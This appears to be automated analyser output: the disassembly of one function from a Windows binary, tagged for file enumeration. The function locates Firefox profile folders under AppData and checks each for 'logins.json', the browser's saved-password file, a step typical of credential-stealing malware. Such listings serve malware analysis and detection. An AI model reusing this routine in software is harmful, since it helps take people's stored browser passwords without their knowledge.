Function at 0x180090c00
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rax, qword [0x180124010]
xor rax, rsp
mov qword [rbp + 0x130], rax
mov rsi, rcx
mov ecx, 0x104
call fcn.1800d3054
mov rbx, rax
test rax, rax
je 0x180091156
xor r9d, r9d
mov qword [rsp + 0x270], r14
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor r14d, r14d
mov qword [rbp - 0x38], 0xf
xor r8d, r8d
mov qword [rbp - 0x40], r14
lea rdx, [0x1801080b0]
mov byte [rbp - 0x50], r14b
lea rcx, [rbp - 0x50]
call fcn.1800bdba0
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r14b
nop dword [rax]
inc r8
cmp byte [rbx + r8], r14b
jne 0x180090ca0
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.1800bdba0
mov rbx, qword [rbp - 0x60]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r14b
lea rdx, [rbx + 0x1a]
cmp rdx, 0x10
jb 0x180090ce5
lea rcx, [rsp + 0x30]
call fcn.1800c3fa0
mov qword [rsp + 0x40], r14
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, rbx
lea rcx, [rsp + 0x30]
cmovae rdx, qword [rbp - 0x70]
call fcn.1800bd330
mov r8d, 0x1a
lea rdx, str.MozillaFirefoxProfiles_
lea rcx, [rsp + 0x30]
call fcn.1800bd330
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180090d52
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090d4d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091176
call fcn.1800caa30
movups xmm1, xmmword [rsp + 0x40]
mov qword [rsp + 0x268], rdi
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x60], r14
movq rbx, xmm1
mov qword [rsp + 0x68], 0xf
movups xmmword [rbp - 0x70], xmm0
mov byte [rsp + 0x50], r14b
movups xmmword [rbp - 0x60], xmm1
lea rdx, [rbx + 2]
cmp rdx, 0x10
jb 0x180090d9d
lea rcx, [rsp + 0x50]
call fcn.1800c3fa0
mov qword [rsp + 0x60], r14
cmp qword [rsp + 0x48], 0x10
lea rdx, [rbp - 0x70]
mov r8, rbx
lea rcx, [rsp + 0x50]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800bd330
mov r8d, 2
lea rdx, [0x180112d2c]
lea rcx, [rsp + 0x50]
call fcn.1800bd330
cmp qword [rsp + 0x68], 0x10
lea rcx, [rsp + 0x50]
lea rdx, [rbp - 0x10]
cmovae rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdx, qword [rsp + 0x68]
mov rdi, rax
cmp rdx, 0x10
jb 0x180090e2c
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090e27
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009117c
call fcn.1800caa30
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], r14b
nop
test byte [rbp - 0x10], 0x10
je 0x180091061
mov qword [rbp - 0x20], r14
lea rax, [rbp + 0x1c]
mov qword [rbp - 0x18], 0xf
mov r8, 0xffffffffffffffff
mov byte [rbp - 0x30], r14b
inc r8
cmp byte [rax + r8], r14b
jne 0x180090e65
lea rdx, [rbp + 0x1c]
lea rcx, [rbp - 0x30]
call fcn.1800bdba0
lea rcx, [rbp + 0x1c]
mov qword [rbp - 0x80], r14
mov rax, 0xffffffffffffffff
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], r14b
nop word [rax + rax]
cmp byte [rcx + rax + 1], r14b
lea rax, [rax + 1]
jne 0x180090ea0
mov rbx, qword [rbp - 0x60]
lea rdx, [rax + rbx]
cmp rdx, 0x10
jb 0x180090ec7
lea rcx, [rsp + 0x70]
call fcn.1800c3fa0
mov qword [rbp - 0x80], r14
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rbp - 0x70]
call fcn.1800bd330
lea rax, [rbp + 0x1c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x180090ef0
lea rdx, [rbp + 0x1c]
lea rcx, [rsp + 0x70]
call fcn.1800bd330
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rsp + 0x70]
call fcn.1800bd330
lea rcx, [rsp + 0x30]
lea rdx, [0x180112c10]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
call fcn.1800d6948
test rax, rax
je 0x180090f6c
mov rcx, rax
call fcn.1800d69d8
mov bl, 1
jmp 0x180090f6e
xor bl, bl
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090fab
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090fa6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091170
call fcn.1800caa30
mov rdx, qword [rbp - 0x78]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r14b
cmp rdx, 0x10
jb 0x180090ffa
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090ff5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091170
call fcn.1800caa30
test bl, bl
je 0x180091026
lea rax, [rbp + 0x1c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x180091010
lea rdx, [rbp + 0x1c]
lea rcx, [rbp - 0x50]
call fcn.1800bdba0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180091061
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009105c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091182
call fcn.1800caa30
lea rdx, [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180090e40
mov rbx, qword [rbp - 0x60]
mov rdi, qword [rbp - 0x40]
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 0xf
mov byte [rsi], r14b
lea rdx, [rbx + rdi]
cmp rdx, 0x10
jb 0x1800910a3
mov rcx, rsi
call fcn.1800c3fa0
mov qword [rsi + 0x10], r14
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, rbx
mov rcx, rsi
cmovae rdx, qword [rbp - 0x70]
call fcn.1800bd330
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, rdi
mov rcx, rsi
cmovae rdx, qword [rbp - 0x50]
call fcn.1800bd330
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18009110c
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180091107
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091182
call fcn.1800caa30
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180091143
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009113e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091182
call fcn.1800caa30
mov rdi, qword [rsp + 0x268]
mov rax, rsi
mov r14, qword [rsp + 0x270]
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.1800ca770
add rsp, 0x240
pop rsi
pop rbx
pop rbp
ret
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3